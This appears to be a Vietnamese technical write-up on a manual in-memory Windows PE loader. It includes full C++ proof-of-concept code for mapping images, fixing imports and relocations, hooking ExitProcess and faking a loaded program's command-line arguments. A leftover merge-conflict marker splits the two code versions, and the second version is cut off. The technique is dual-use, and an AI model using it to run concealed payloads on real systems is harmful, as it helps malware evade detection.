            std::cerr &amp;lt;&amp;lt; &quot;[FileMap] MapViewOfFile failed (&quot; &amp;lt;&amp;lt; GetLastError() &amp;lt;&amp;lt; &quot;)\n&quot;;
        }
    }
    ~FileMap() {
        if (view_)    UnmapViewOfFile(view_);
        if (mapping_) CloseHandle(mapping_);
        if (file_ != INVALID_HANDLE_VALUE) CloseHandle(file_);
    }
    [[nodiscard]] bool        valid() const { return view_ != nullptr; }
    [[nodiscard]] const void* data()  const { return view_; }
    [[nodiscard]] DWORD       size()  const { return size_; }

private:
    HANDLE file_{ INVALID_HANDLE_VALUE };
    HANDLE mapping_{ nullptr };
    LPVOID view_{ nullptr };
    DWORD  size_{ 0 };
};
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Return pointer và file size&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&lt;strong&gt;Fix IAT&lt;/strong&gt;:&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;bool resolveImports() {
    auto&amp;amp; dir = nt_-&amp;gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    if (!dir.Size) return true;
    auto imp = reinterpret_cast&amp;lt;PIMAGE_IMPORT_DESCRIPTOR&amp;gt;(util::rvaToPtr(image_, dir.VirtualAddress));
    while (imp-&amp;gt;Name) {
        const char* dllName = reinterpret_cast&amp;lt;char*&amp;gt;(util::rvaToPtr(image_, imp-&amp;gt;Name));
        HMODULE dll = LoadLibraryA(dllName);
        if (!dll) { std::cerr &amp;lt;&amp;lt; &quot;[!] Cannot load &quot; &amp;lt;&amp;lt; dllName &amp;lt;&amp;lt; &quot;\n&quot;; return false; }
        auto thunk = reinterpret_cast&amp;lt;PIMAGE_THUNK_DATA&amp;gt;(util::rvaToPtr(image_, imp-&amp;gt;FirstThunk));
        auto orig = reinterpret_cast&amp;lt;PIMAGE_THUNK_DATA&amp;gt;(util::rvaToPtr(image_, imp-&amp;gt;OriginalFirstThunk ? imp-&amp;gt;OriginalFirstThunk : imp-&amp;gt;FirstThunk));
        for (; orig-&amp;gt;u1.AddressOfData; ++orig, ++thunk) {
            FARPROC fp;
            if (IMAGE_SNAP_BY_ORDINAL(orig-&amp;gt;u1.Ordinal)) {
                fp = GetProcAddress(dll, MAKEINTRESOURCEA(IMAGE_ORDINAL(orig-&amp;gt;u1.Ordinal)));
            }
            else {
                auto ibn = reinterpret_cast&amp;lt;PIMAGE_IMPORT_BY_NAME&amp;gt;(util::rvaToPtr(image_, orig-&amp;gt;u1.AddressOfData));
                fp = (std::strcmp(&quot;ExitProcess&quot;, ibn-&amp;gt;Name) == 0) ? reinterpret_cast&amp;lt;FARPROC&amp;gt;(&amp;amp;ExitProcessHook)
                    : GetProcAddress(dll, ibn-&amp;gt;Name);
            }
            thunk-&amp;gt;u1.Function = reinterpret_cast&amp;lt;ULONGLONG&amp;gt;(fp);
        }
        ++imp;
    }
    return true;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Tìm Import Table: Từ DataDirectory[1]&lt;/li&gt;
&lt;li&gt;Duyệt từng DLL: kernel32.dll, user32.dll, etc.&lt;/li&gt;
&lt;li&gt;Load DLL: LoadLibraryA()&lt;/li&gt;
&lt;li&gt;Resolve Functions: GetProcAddress()&lt;/li&gt;
&lt;li&gt;Update FirstThunk: Ghi địa chỉ function vào IAT&lt;/li&gt;
&lt;li&gt;Special Handling: Intercept ExitProcess&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&lt;strong&gt;Fix Reloc&lt;/strong&gt;:&lt;/h2&gt;
&lt;p&gt;Thực hiện relocation khi PE không load tại preferred base address&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Delta: Difference giữa actual và preferred base&lt;/li&gt;
&lt;li&gt;Fix addresses: Cộng delta vào các absolute addresses&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;bool relocate() {
    ULONGLONG delta = reinterpret_cast&amp;lt;ULONGLONG&amp;gt;(image_) - nt_-&amp;gt;OptionalHeader.ImageBase;
    if (!delta) return true;
    auto&amp;amp; dir = nt_-&amp;gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    if (!dir.Size) { std::cerr &amp;lt;&amp;lt; &quot;[reloc] table missing\n&quot;; return false; }
    auto reloc = reinterpret_cast&amp;lt;PIMAGE_BASE_RELOCATION&amp;gt;(util::rvaToPtr(image_, dir.VirtualAddress));
    while (reloc-&amp;gt;SizeOfBlock) {
        auto entries = reinterpret_cast&amp;lt;PWORD&amp;gt;(reloc + 1);
        int count = (reloc-&amp;gt;SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
        for (int i = 0; i &amp;lt; count; ++i) {
            WORD type = entries[i] &amp;gt;&amp;gt; 12; WORD off = entries[i] &amp;amp; 0xFFF;
            if (type == IMAGE_REL_BASED_DIR64 || type == IMAGE_REL_BASED_HIGHLOW) {
                auto patch = reinterpret_cast&amp;lt;PULONGLONG&amp;gt;(util::rvaToPtr(image_, reloc-&amp;gt;VirtualAddress + off));
                *patch += delta;
            }
        }
        reloc = reinterpret_cast&amp;lt;PIMAGE_BASE_RELOCATION&amp;gt;(reinterpret_cast&amp;lt;BYTE*&amp;gt;(reloc) + reloc-&amp;gt;SizeOfBlock);
    }
    return true;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;strong&gt;Parameter Hijacking&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Thông thường, khi một chương trình C/cpp được khởi chạy, nó nhận các đối số dòng lệnh theo dạng:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int main(int argc, char* argv[])
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tuy nhiên, trong thực tế, &lt;code&gt;main()&lt;/code&gt; không phải là entry point của process. Trước khi gọi đến &lt;code&gt;main()&lt;/code&gt;, hệ thống runtime của C (CRT) sẽ thực hiện một số bước khởi tạo quan trọng. Cụ thể, chương trình sẽ gọi các hàm như:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;GetCommandLineA()&lt;/code&gt; / &lt;code&gt;GetCommandLineW()&lt;/code&gt; để lấy chuỗi lệnh ban đầu,&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GetEnvironmentStrings()&lt;/code&gt; để lấy biến môi trường,
Sau đó, chuỗi dòng lệnh sẽ được phân tích cú pháp thành mảng &lt;code&gt;argv&lt;/code&gt;, giá trị &lt;code&gt;argc&lt;/code&gt;, và biến môi trường &lt;code&gt;envp&lt;/code&gt;. Các thông tin này sẽ được gán vào những biến toàn cục như:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;__argc, __argv, _environ
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Và sau cùng, CRT mới gọi:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;main(__argc, __argv, _environ);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Do đó, nếu chúng ta muốn (&lt;code&gt;parameter hijacking&lt;/code&gt;) &lt;strong&gt;chỉ thực hiện sửa chuỗi dòng lệnh trong PEB thôi là chưa đủ&lt;/strong&gt;. Chúng ta &lt;strong&gt;phải can thiệp đồng thời vào 3 khu vực sau&lt;/strong&gt; để đảm bảo chương trình mục tiêu nhận đúng đối số giả mạo:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Process Environment Block&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Chứa chuỗi &lt;code&gt;CommandLine&lt;/code&gt; và &lt;code&gt;ImagePathName&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Được dùng bởi các API hệ thống như &lt;code&gt;GetCommandLineW()&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Thư viện &lt;code&gt;MSVCRT.dll&lt;/code&gt; (hoặc &lt;code&gt;ucrtbase.dll&lt;/code&gt;)&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Lưu trữ các biến toàn cục: &lt;code&gt;__argc&lt;/code&gt;, &lt;code&gt;__argv&lt;/code&gt;, &lt;code&gt;__wargv&lt;/code&gt;, &lt;code&gt;_environ&lt;/code&gt;, v.v.&lt;/li&gt;
&lt;li&gt;Được sử dụng trực tiếp trong &lt;code&gt;main()&lt;/code&gt; hoặc các hàm C tiêu chuẩn.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Thư viện &lt;code&gt;KERNELBASE.dll&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Một số bản sao hoặc ánh xạ của các biến kể trên cũng tồn tại trong &lt;code&gt;KERNELBASE.dll&lt;/code&gt; (tùy phiên bản Windows).&lt;/li&gt;
&lt;li&gt;Một số runtime hiện đại có thể truy cập gián tiếp thông qua thư viện này.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&lt;strong&gt;Execution Strategy&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Execution Methods:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;EXE: Tạo thread mới, gọi entry point như main()&lt;/li&gt;
&lt;li&gt;DLL: Gọi DllMain với DLL_PROCESS_ATTACH&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Final&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;out.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Full POC&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;
#define WIN32_LEAN_AND_MEAN
#include &amp;lt;windows.h&amp;gt;
#include &amp;lt;winternl.h&amp;gt;
#include &amp;lt;string&amp;gt;
#include &amp;lt;vector&amp;gt;
#include &amp;lt;memory&amp;gt;
#include &amp;lt;iostream&amp;gt;
#include &amp;lt;cstring&amp;gt;

#pragma comment(lib, &quot;kernel32.lib&quot;)

// --------------------------------------------------
// Utility
// --------------------------------------------------
namespace util {
    inline LPVOID rvaToPtr(LPVOID base, DWORD rva) {
        return static_cast&amp;lt;BYTE*&amp;gt;(base) + rva;
    }
}

// --------------------------------------------------
// RAII file‑mapping wrapper
// --------------------------------------------------
class FileMap {
public:
    explicit FileMap(const std::string&amp;amp; path) {
        file_ = CreateFileA(path.c_str(), GENERIC_READ, FILE_SHARE_READ, nullptr,
                            OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
        if (file_ == INVALID_HANDLE_VALUE) {
            std::cerr &amp;lt;&amp;lt; &quot;[FileMap] Cannot open &quot; &amp;lt;&amp;lt; path &amp;lt;&amp;lt; &quot; (&quot; &amp;lt;&amp;lt; GetLastError() &amp;lt;&amp;lt; &quot;)\n&quot;;
            return;
        }
        size_ = GetFileSize(file_, nullptr);
        mapping_ = CreateFileMappingA(file_, nullptr, PAGE_READONLY, 0, 0, nullptr);
        if (!mapping_) {
            std::cerr &amp;lt;&amp;lt; &quot;[FileMap] CreateFileMapping failed (&quot; &amp;lt;&amp;lt; GetLastError() &amp;lt;&amp;lt; &quot;)\n&quot;;
            return;
        }
        view_ = MapViewOfFile(mapping_, FILE_MAP_READ, 0, 0, 0);
        if (!view_) {
            std::cerr &amp;lt;&amp;lt; &quot;[FileMap] MapViewOfFile failed (&quot; &amp;lt;&amp;lt; GetLastError() &amp;lt;&amp;lt; &quot;)\n&quot;;
        }
    }
    ~FileMap() {
        if (view_)    UnmapViewOfFile(view_);
        if (mapping_) CloseHandle(mapping_);
        if (file_ != INVALID_HANDLE_VALUE) CloseHandle(file_);
    }
    [[nodiscard]] bool   valid() const { return view_ != nullptr; }
    [[nodiscard]] const void* data()  const { return view_; }
    [[nodiscard]] DWORD  size()  const { return size_; }

private:
    HANDLE file_{ INVALID_HANDLE_VALUE };
    HANDLE mapping_{ nullptr };
    LPVOID view_{ nullptr };
    DWORD  size_{ 0 };
};

// --------------------------------------------------
// Command‑line helper (skips first &amp;lt;skip&amp;gt; parameters)
// --------------------------------------------------
class CommandLine {
public:
    CommandLine(int argc, char* argv[], int skip = 0) {
        for (int i = skip; i &amp;lt; argc; ++i) args_.emplace_back(argv[i]);
        buildRaw();
        buildArgv();
    }
    [[nodiscard]] int      argc() const { return static_cast&amp;lt;int&amp;gt;(args_.size()); }
    [[nodiscard]] char**   argv() const { return argv_.get(); }
    [[nodiscard]] LPCSTR   raw()  const { return raw_.c_str(); }

private:
    void buildRaw() {
        for (size_t i = 0; i &amp;lt; args_.size(); ++i) {
            if (i) raw_ += &apos; &apos;;
            const auto&amp;amp; s = args_[i];
            if (s.find_first_of(&quot; \t&quot;) != std::string::npos) raw_ += &apos;&quot;&apos; + s + &apos;&quot;&apos;;
            else raw_ += s;
        }
    }
    void buildArgv() {
        argv_ = std::make_unique&amp;lt;char*[]&amp;gt;(args_.size());
        for (size_t i = 0; i &amp;lt; args_.size(); ++i) argv_[i] = args_[i].data();
    }
    std::vector&amp;lt;std::string&amp;gt; args_;
    std::string              raw_;
    std::unique_ptr&amp;lt;char*[]&amp;gt; argv_;
};

// Forward decl so static hook can access loader instance
class PELoader;
static PELoader* g_loader = nullptr;

// --------------------------------------------------
// PE loader (single‑file, minimal OOP)
// --------------------------------------------------
class PELoader {
public:
    explicit PELoader(CommandLine&amp;amp; cmd) : cmd_(cmd) { g_loader = this; }

    // Intercept ExitProcess so the host process keeps control
    static void WINAPI ExitProcessHook(UINT code) {
        if (g_loader) {
            g_loader-&amp;gt;exitCalled_ = true;
            g_loader-&amp;gt;exitCode_  = code;
            std::cout &amp;lt;&amp;lt; &quot;[+] ExitProcess intercepted — code=&quot; &amp;lt;&amp;lt; code &amp;lt;&amp;lt; &quot;\n&quot;;
        }
    }

    bool load(const std::string&amp;amp; path) {
        map_ = std::make_unique&amp;lt;FileMap&amp;gt;(path);
        if (!map_-&amp;gt;valid()) return false;
        if (!isValidPE(map_-&amp;gt;data())) { std::cerr &amp;lt;&amp;lt; &quot;[!] Invalid PE file\n&quot;; return false; }
        nt_    = getNtHeaders(map_-&amp;gt;data());
        image_ = allocateImage(nt_);
        if (!image_) return false;
        copyImage();
        nt_ = getNtHeaders(image_);
        return resolveImports() &amp;amp;&amp;amp; applyRelocations();
    }

    int run() { return image_ ? callEntry() : -1; }

private:
    // ---------- helpers ----------
    static bool isValidPE(const void* data) {
        auto dos = reinterpret_cast&amp;lt;const IMAGE_DOS_HEADER*&amp;gt;(data);
        if (dos-&amp;gt;e_magic != IMAGE_DOS_SIGNATURE) return false;
        auto nt  = reinterpret_cast&amp;lt;const IMAGE_NT_HEADERS*&amp;gt;(static_cast&amp;lt;const BYTE*&amp;gt;(data) + dos-&amp;gt;e_lfanew);
        return nt-&amp;gt;Signature == IMAGE_NT_SIGNATURE;
    }
    static PIMAGE_NT_HEADERS getNtHeaders(const void* base) {
        auto dos = reinterpret_cast&amp;lt;const IMAGE_DOS_HEADER*&amp;gt;(base);
        return reinterpret_cast&amp;lt;PIMAGE_NT_HEADERS&amp;gt;(static_cast&amp;lt;BYTE*&amp;gt;(const_cast&amp;lt;void*&amp;gt;(base)) + dos-&amp;gt;e_lfanew);
    }
    LPVOID allocateImage(PIMAGE_NT_HEADERS nt) {
        SIZE_T sz = nt-&amp;gt;OptionalHeader.SizeOfImage;
        auto preferred = reinterpret_cast&amp;lt;LPVOID&amp;gt;(nt-&amp;gt;OptionalHeader.ImageBase);
        auto mem = VirtualAlloc(preferred, sz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        return mem ? mem : VirtualAlloc(nullptr, sz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    }
    void copyImage() {
        std::memcpy(image_, map_-&amp;gt;data(), nt_-&amp;gt;OptionalHeader.SizeOfHeaders);
        auto section = IMAGE_FIRST_SECTION(nt_);
        for (int i = 0; i &amp;lt; nt_-&amp;gt;FileHeader.NumberOfSections; ++i, ++section) {
            if (!section-&amp;gt;SizeOfRawData) continue;
            std::memcpy(util::rvaToPtr(image_, section-&amp;gt;VirtualAddress),
                        static_cast&amp;lt;const BYTE*&amp;gt;(map_-&amp;gt;data()) + section-&amp;gt;PointerToRawData,
                        section-&amp;gt;SizeOfRawData);
        }
    }

    bool resolveImports() {
        const auto&amp;amp; dir = nt_-&amp;gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
        if (!dir.Size) return true;
        auto imp = reinterpret_cast&amp;lt;PIMAGE_IMPORT_DESCRIPTOR&amp;gt;(util::rvaToPtr(image_, dir.VirtualAddress));
        while (imp-&amp;gt;Name) {
            const char* dllName = reinterpret_cast&amp;lt;char*&amp;gt;(util::rvaToPtr(image_, imp-&amp;gt;Name));
            HMODULE dll = LoadLibraryA(dllName);
            if (!dll) { std::cerr &amp;lt;&amp;lt; &quot;[!] Cannot load &quot; &amp;lt;&amp;lt; dllName &amp;lt;&amp;lt; &quot;\n&quot;; return false; }
            auto thunkName = reinterpret_cast&amp;lt;PIMAGE_THUNK_DATA&amp;gt;(util::rvaToPtr(image_, imp-&amp;gt;OriginalFirstThunk ? imp-&amp;gt;OriginalFirstThunk : imp-&amp;gt;FirstThunk));
            auto thunkIAT  = reinterpret_cast&amp;lt;PIMAGE_THUNK_DATA&amp;gt;(util::rvaToPtr(image_, imp-&amp;gt;FirstThunk));
            while (thunkName-&amp;gt;u1.AddressOfData) {
                FARPROC func = nullptr;
                if (IMAGE_SNAP_BY_ORDINAL(thunkName-&amp;gt;u1.Ordinal)) {
                    func = GetProcAddress(dll, MAKEINTRESOURCEA(IMAGE_ORDINAL(thunkName-&amp;gt;u1.Ordinal)));
                } else {
                    auto ibn = reinterpret_cast&amp;lt;PIMAGE_IMPORT_BY_NAME&amp;gt;(util::rvaToPtr(image_, thunkName-&amp;gt;u1.AddressOfData));
                    func = (std::strcmp(&quot;ExitProcess&quot;, ibn-&amp;gt;Name) == 0) ? reinterpret_cast&amp;lt;FARPROC&amp;gt;(&amp;amp;ExitProcessHook)
                                                                          : GetProcAddress(dll, ibn-&amp;gt;Name);
                }
                thunkIAT-&amp;gt;u1.Function = reinterpret_cast&amp;lt;ULONGLONG&amp;gt;(func);
                ++thunkName; ++thunkIAT;
            }
            ++imp;
        }
        return true;
    }

    bool applyRelocations() {
        ULONGLONG delta = reinterpret_cast&amp;lt;ULONGLONG&amp;gt;(image_) - nt_-&amp;gt;OptionalHeader.ImageBase;
        if (!delta) return true;
        const auto&amp;amp; dir = nt_-&amp;gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
        if (!dir.Size) { std::cerr &amp;lt;&amp;lt; &quot;[reloc] table missing\n&quot;; return false; }
        auto reloc = reinterpret_cast&amp;lt;PIMAGE_BASE_RELOCATION&amp;gt;(util::rvaToPtr(image_, dir.VirtualAddress));
        while (reloc-&amp;gt;SizeOfBlock) {
            auto count = (reloc-&amp;gt;SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
            auto entry = reinterpret_cast&amp;lt;PWORD&amp;gt;(reloc + 1);
            for (DWORD i = 0; i &amp;lt; count; ++i, ++entry) {
                WORD type = *entry &amp;gt;&amp;gt; 12; WORD off = *entry &amp;amp; 0xFFF;
                if (type == IMAGE_REL_BASED_HIGHLOW || type == IMAGE_REL_BASED_DIR64) {
                    auto patch = reinterpret_cast&amp;lt;PULONGLONG&amp;gt;(util::rvaToPtr(image_, reloc-&amp;gt;VirtualAddress + off));
                    *patch += delta;
                }
            }
            reloc = reinterpret_cast&amp;lt;PIMAGE_BASE_RELOCATION&amp;gt;(reinterpret_cast&amp;lt;BYTE*&amp;gt;(reloc) + reloc-&amp;gt;SizeOfBlock);
        }
        return true;
    }

    int callEntry() {
        auto entry = util::rvaToPtr(image_, nt_-&amp;gt;OptionalHeader.AddressOfEntryPoint);
        if (nt_-&amp;gt;FileHeader.Characteristics &amp;amp; IMAGE_FILE_DLL) {
            auto dllMain = reinterpret_cast&amp;lt;BOOL (WINAPI*)(HINSTANCE,DWORD,LPVOID)&amp;gt;(entry);
            dllMain(reinterpret_cast&amp;lt;HINSTANCE&amp;gt;(image_), DLL_PROCESS_ATTACH, nullptr);
            return 0;
        }
        if (nt_-&amp;gt;OptionalHeader.Subsystem == IMAGE_SUBSYSTEM_WINDOWS_GUI) {
            auto winMain = reinterpret_cast&amp;lt;int (WINAPI*)(HINSTANCE,HINSTANCE,LPSTR,int)&amp;gt;(entry);
            return winMain(reinterpret_cast&amp;lt;HINSTANCE&amp;gt;(image_), nullptr, const_cast&amp;lt;char*&amp;gt;(cmd_.raw()), SW_SHOWDEFAULT);
        }
        auto mainFn = reinterpret_cast&amp;lt;int (*)(int,char**)&amp;gt;(entry);
        return mainFn(cmd_.argc(), cmd_.argv());
    }

    // ---------- members ----------
    CommandLine&amp;amp;                 cmd_;
    std::unique_ptr&amp;lt;FileMap&amp;gt;     map_;
    PIMAGE_NT_HEADERS            nt_ { nullptr };
    LPVOID                       image_ { nullptr };
    bool                         exitCalled_ { false };
    DWORD                        exitCode_   { 0 };
};

// --------------------------------------------------
// Entry point
// --------------------------------------------------
int main(int argc, char* argv[]) {
    if (argc &amp;lt; 2) {
        std::cout &amp;lt;&amp;lt; &quot;Usage: &quot; &amp;lt;&amp;lt; argv[0] &amp;lt;&amp;lt; &quot; &amp;lt;pe_file&amp;gt; [arguments...]\n&quot;;
        return 1;
    }
    CommandLine cmd(argc, argv, 2); // skip exe + target path
    PELoader loader(cmd);
    if (!loader.load(argv[1])) return 1;
    return loader.run();
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; HEAD&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;With delay import
```cpp
#define WIN32_LEAN_AND_MEAN
#include &amp;lt;windows.h&amp;gt;
#include &amp;lt;winternl.h&amp;gt;
#include &amp;lt;string&amp;gt;
#include &amp;lt;vector&amp;gt;
#include &amp;lt;memory&amp;gt;
#include &amp;lt;iostream&amp;gt;
#include &amp;lt;cstring&amp;gt;

#pragma comment(lib, &quot;kernel32.lib&quot;)

// Delay import structures (in case SDK doesn&apos;t have them)
#ifndef IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT
#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 13
#endif

#if (defined(_WIN32_WINNT) &amp;amp;&amp;amp; _WIN32_WINNT &amp;lt;= 0x0601) &amp;amp;&amp;amp; !defined(__MINGW32__)
#include &quot;pshpack4.h&quot;
typedef struct _IMAGE_DELAYLOAD_DESCRIPTOR {
    union {
        DWORD AllAttributes;
        struct {
            DWORD RvaBased : 1;             // Delay load version 2
            DWORD ReservedAttributes : 31;
        } DUMMYSTRUCTNAME;
    } Attributes;

    DWORD DllNameRVA;                       // RVA to the name of the target library
    DWORD ModuleHandleRVA;                  // RVA to the HMODULE caching location
    DWORD ImportAddressTableRVA;            // RVA to the start of the IAT
    DWORD ImportNameTableRVA;               // RVA to the start of the name table
    DWORD BoundImportAddressTableRVA;       // RVA to an optional bound IAT
    DWORD UnloadInformationTableRVA;        // RVA to an optional unload info table
    DWORD TimeDateStamp;                    // 0 if not bound
} IMAGE_DELAYLOAD_DESCRIPTOR, * PIMAGE_DELAYLOAD_DESCRIPTOR;
#include &quot;poppack.h&quot;
#endif

// --------------------------------------------------
// Utility
// --------------------------------------------------
namespace util {
    inline LPVOID rvaToPtr(LPVOID base, DWORD rva) {
        return static_cast&amp;lt;BYTE*&amp;gt;(base) + rva;
    }

    inline bool validatePtr(LPVOID base, SIZE_T baseSize, LPVOID ptr, SIZE_T ptrSize) {
        auto start = reinterpret_cast&amp;lt;ULONG_PTR&amp;gt;(base);
        auto end = start + baseSize;
        auto check = reinterpret_cast&amp;lt;ULONG_PTR&amp;gt;(ptr);
        return (check &amp;gt;= start) &amp;amp;&amp;amp; (check + ptrSize &amp;lt;= end);
    }
}

// --------------------------------------------------
// RAII file‑mapping wrapper
// --------------------------------------------------
class FileMap {
public:
    explicit FileMap(const std::string&amp;amp; path) {
        file_ = CreateFileA(path.c_str(), GENERIC_READ, FILE_SHARE_READ, nullptr,
            OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
        if (file_ == INVALID_HANDLE_VALUE) {
            std::cerr &amp;lt;&amp;lt; &quot;[FileMap] Cannot open &quot; &amp;lt;&amp;lt; path &amp;lt;&amp;lt; &quot; (&quot; &amp;lt;&amp;lt; GetLastError() &amp;lt;&amp;lt; &quot;)\n&quot;;
            return;
        }
        size_ = GetFileSize(file_, nullptr);
        mapping_ = CreateFileMappingA(file_, nullptr, PAGE_READONLY, 0, 0, nullptr);
        if (!mapping_) {
            std::cerr &amp;lt;&amp;lt; &quot;[FileMap] CreateFileMapping failed (&quot; &amp;lt;&amp;lt; GetLastError() &amp;lt;&amp;lt; &quot;)\n&quot;;
            return;
        }
        view_ = MapViewOfFile(mapping_, FILE_MAP_READ, 0, 0, 0);
        if (!view_) {
            std::cerr &amp;lt;&amp;lt; &quot;[FileMap] MapViewOfFile failed (&quot; &amp;lt;&amp;lt; GetLastError() &amp;lt;&amp;lt; &quot;)\n&quot;;
        }
    }
    ~FileMap() {
        if (view_)    UnmapViewOfFile(view_);
        if (mapping_) CloseHandle(mapping_);
        if (file_ != INVALID_HANDLE_VALUE) CloseHandle(file_);
    }
    [[nodiscard]] bool   valid() const { return view_ != nullptr; }
    [[nodiscard]] const void* data()  const { return view_; }
    [[nodiscard]] DWORD  size()  const { return size_; }

private:
    HANDLE file_{ INVALID_HANDLE_VALUE };
    HANDLE mapping_{ nullptr };
    LPVOID view_{ nullptr };
    DWORD  size_{ 0 };
};

// --------------------------------------------------
// Command‑line helper (skips first &amp;lt;skip&amp;gt; parameters)
// --------------------------------------------------
class CommandLine {
public:
    CommandLine(int argc, char* argv[], int skip = 0) {
        for (int i = skip; i &amp;lt; argc; ++i) args_.emplace_back(argv[i]);
        buildRaw();
        buildArgv();
    }
    [[nodiscard]] int      argc() const { return static_cast&amp;lt;int&amp;gt;(args_.size()); }
    [[nodiscard]] char** argv() const { return argv_.get(); }
    [[nodiscard]] LPCSTR   raw()  const { return raw_.c_str(); }

private:
    void buildRaw() {
        for (size_t i = 0; i &amp;lt; args_.size(); ++i) {
            if (i) raw_ += &apos; &apos;;
            const auto&amp;amp; s = args_[i];
            if (s.find_first_of(&quot; \t&quot;) != std::string::npos) raw_ += &apos;&quot;&apos; + s + &apos;&quot;&apos;;
            else raw_ += s;
        }
    }
    void buildArgv() {
        argv_ = std::make_unique&amp;lt;char* []&amp;gt;(args_.size());
        for (size_t i = 0; i &amp;lt; args_.size(); ++i) argv_[i] = args_[i].data();
    }
    std::vector&amp;lt;std::string&amp;gt; args_;
    std::string              raw_;
    std::unique_ptr&amp;lt;char* []&amp;gt; argv_;
};

// Forward decl so static hook can access loader instance
class PELoader;
static PELoader* g_loader = nullptr;

// --------------------------------------------------
// PE loader (single‑file, minimal OOP) with delay import support
// --------------------------------------------------
class PELoader {
public:
    explicit PELoader(CommandLine&amp;amp; cmd) : cmd_(cmd) { g_loader = this; }

    // Intercept ExitProcess so the host process keeps control
    static void WINAPI ExitProcessHook(UINT code) {
        if (g_loader) {
            g_loader-&amp;gt;exitCalled_ = true;
            g_loader-&amp;gt;exitCode_ = code;
            std::cout &amp;lt;&amp;lt; &quot;[+] ExitProcess intercepted — code=&quot; &amp;lt;&amp;lt; code &amp;lt;&amp;lt; &quot;\n&quot;;
        }
    }

    bool load(const std::string&amp;amp; path) {
        map_ = std::make_unique&amp;lt;FileMap&amp;gt;(path);
        if (!map_-&amp;gt;valid()) return false;
        if (!isValidPE(map_-&amp;gt;data())) {
            std::cerr &amp;lt;&amp;lt; &quot;[!] Invalid PE file\n&quot;;
            return false;
        }

        nt_ = getNtHeaders(map_-&amp;gt;data());
        imageSize_ = nt_-&amp;gt;OptionalHeader.SizeOfImage;
        image_ = allocateImage(nt_);
        if (!image_) return false;

        copyImage();
        nt_ = getNtHeaders(image_);

        return resolveImports() &amp;amp;&amp;amp; resolveDelayImports() &amp;amp;&amp;amp; applyRelocations();
    }

    int run() { return image_ ? callEntry() : -1; }

private:
    // ---------- helpers ----------
    static bool isValidPE(const void* data) {
        auto dos = reinterpret_cast&amp;lt;const IMAGE_DOS_HEADER*&amp;gt;(data);
        if (dos-&amp;gt;e_magic != IMAGE_DOS_SIGNATURE) return false;
        auto nt = reinterpret_cast&amp;lt;const IMAGE_NT_HEADERS*&amp;gt;(static_cast&amp;lt;const BYTE*&amp;gt;(data) + dos-&amp;gt;e_lfanew);
        return nt-&amp;gt;Signature == IMAGE_NT_SIGNATURE;
    }

    static PIMAGE_NT_HEADERS getNtHeaders(const void* base) {
        auto dos = reinterpret_cast&amp;lt;const IMAGE_DOS_HEADER*&amp;gt;(base);
        return reinterpret_cast&amp;lt;PIMAGE_NT_HEADERS&amp;gt;(static_cast&amp;lt;BYTE*&amp;gt;(const_cast&amp;lt;void*&amp;gt;(base)) + dos-&amp;gt;e_lfanew);
    }

    LPVOID allocateImage(PIMAGE_NT_HEADERS nt) {
        SIZE_T sz = nt-&amp;gt;OptionalHeader.SizeOfImage;
        auto preferred = reinterpret_cast&amp;lt;LPVOID&amp;gt;(nt-&amp;gt;OptionalHeader.ImageBase);
        auto mem = VirtualAlloc(preferred, sz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
